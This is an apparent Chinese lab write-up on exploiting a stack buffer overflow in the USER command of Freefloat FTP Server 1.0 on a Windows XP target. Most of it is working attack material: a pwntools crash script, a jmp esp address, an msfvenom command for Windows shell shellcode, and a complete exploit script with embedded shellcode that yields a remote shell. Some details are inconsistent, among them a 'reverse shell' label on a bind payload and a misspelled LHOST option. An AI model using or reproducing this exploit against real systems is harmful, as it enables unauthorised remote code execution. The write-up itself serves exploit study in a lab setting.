分析漏洞
在xp靶机上开启FTPServer

在kali上连接ftp,直接输入aaa/aaa即可进行登录,可以登陆成功,即该服务器并没有对用户进行限制

利用python生成一百个’a’登录,报错了
wireshark抓包得知,只发送出去了78个a
同时发送了100个a也没令软件崩溃,所以改用其他方法
使用脚本测试
python发包测试
1 2 3 4 5
| from pwn import * p = remote("192.168.100.143", 21) payload = 'A'*500 p.sendline(payload) p.interactive()
|

程序崩溃了

此时eip指向了0x41414141,从发送的数据’A’的ascii码是0x41得知,USER输入点存在栈溢出漏洞

进一步的验证分析就不进行了,网上有更详细的分析过程
漏洞利用
寻找jmp esp地址





只有一个地址,那就用:77D4754A这个地址
生成shellcode
利用metasploit生成windows反弹shell的shellcode,排除坏数据’\x00\x0a\x0d’,以c语言格式输出,靶机IP:192.168.100.142
1
| msfvenom -p windows/shell_bind_tcp LHOSTS=192.168.100.143 LPORT=4444 -b '\x00\x0a\x0d' -f c
|

编写exp,这里使用的是python3的语法,在运行脚本前还需要安装pwntools
\x90为nop指令,起着类似滑板的作用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import * p = remote("192.168.100.143",21) payload = b'A'*251 payload += p32(0x77D4754A) payload += b'C'*8 payload += b'\x90'*20
shellcode = ( b"\xda\xcb\xd9\x74\x24\xf4\xb8\xcd\x8a\xb1\xec\x5a\x31\xc9" b"\xb1\x53\x31\x42\x17\x83\xc2\x04\x03\x8f\x99\x53\x19\xf3" b"\x76\x11\xe2\x0b\x87\x76\x6a\xee\xb6\xb6\x08\x7b\xe8\x06" b"\x5a\x29\x05\xec\x0e\xd9\x9e\x80\x86\xee\x17\x2e\xf1\xc1" b"\xa8\x03\xc1\x40\x2b\x5e\x16\xa2\x12\x91\x6b\xa3\x53\xcc" b"\x86\xf1\x0c\x9a\x35\xe5\x39\xd6\x85\x8e\x72\xf6\x8d\x73" b"\xc2\xf9\xbc\x22\x58\xa0\x1e\xc5\x8d\xd8\x16\xdd\xd2\xe5" b"\xe1\x56\x20\x91\xf3\xbe\x78\x5a\x5f\xff\xb4\xa9\xa1\x38" b"\x72\x52\xd4\x30\x80\xef\xef\x87\xfa\x2b\x65\x13\x5c\xbf" b"\xdd\xff\x5c\x6c\xbb\x74\x52\xd9\xcf\xd2\x77\xdc\x1c\x69" b"\x83\x55\xa3\xbd\x05\x2d\x80\x19\x4d\xf5\xa9\x38\x2b\x58" b"\xd5\x5a\x94\x05\x73\x11\x39\x51\x0e\x78\x56\x96\x23\x82" b"\xa6\xb0\x34\xf1\x94\x1f\xef\x9d\x94\xe8\x29\x5a\xda\xc2" b"\x8e\xf4\x25\xed\xee\xdd\xe1\xb9\xbe\x75\xc3\xc1\x54\x85" b"\xec\x17\xc0\x8d\x4b\xc8\xf7\x70\x2b\xb8\xb7\xda\xc4\xd2" b"\x37\x05\xf4\xdc\x9d\x2e\x9d\x20\x1e\x41\x02\xac\xf8\x0b" b"\xaa\xf8\x53\xa3\x08\xdf\x6b\x54\x72\x35\xc4\xf2\x3b\x5f" b"\xd3\xfd\xbb\x75\x73\x69\x30\x9a\x47\x88\x47\xb7\xef\xdd" b"\xd0\x4d\x7e\xac\x41\x51\xab\x46\xe1\xc0\x30\x96\x6c\xf9" b"\xee\xc1\x39\xcf\xe6\x87\xd7\x76\x51\xb5\x25\xee\x9a\x7d" b"\xf2\xd3\x25\x7c\x77\x6f\x02\x6e\x41\x70\x0e\xda\x1d\x27" b"\xd8\xb4\xdb\x91\xaa\x6e\xb2\x4e\x65\xe6\x43\xbd\xb6\x70" b"\x4c\xe8\x40\x9c\xfd\x45\x15\xa3\x32\x02\x91\xdc\x2e\xb2" b"\x5e\x37\xeb\xc2\x14\x15\x5a\x4b\xf1\xcc\xde\x16\x02\x3b" b"\x1c\x2f\x81\xc9\xdd\xd4\x99\xb8\xd8\x91\x1d\x51\x91\x8a" b"\xcb\x55\x06\xaa\xd9")
payload += shellcode p.sendline(payload) p.close()
|
运行脚本,并使用nc进行连接即可成功获得shell

参考
https://rj45mp.github.io/Freefloat-FTP-Server1-0%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://bbs.kanxue.com/thread-266641.htm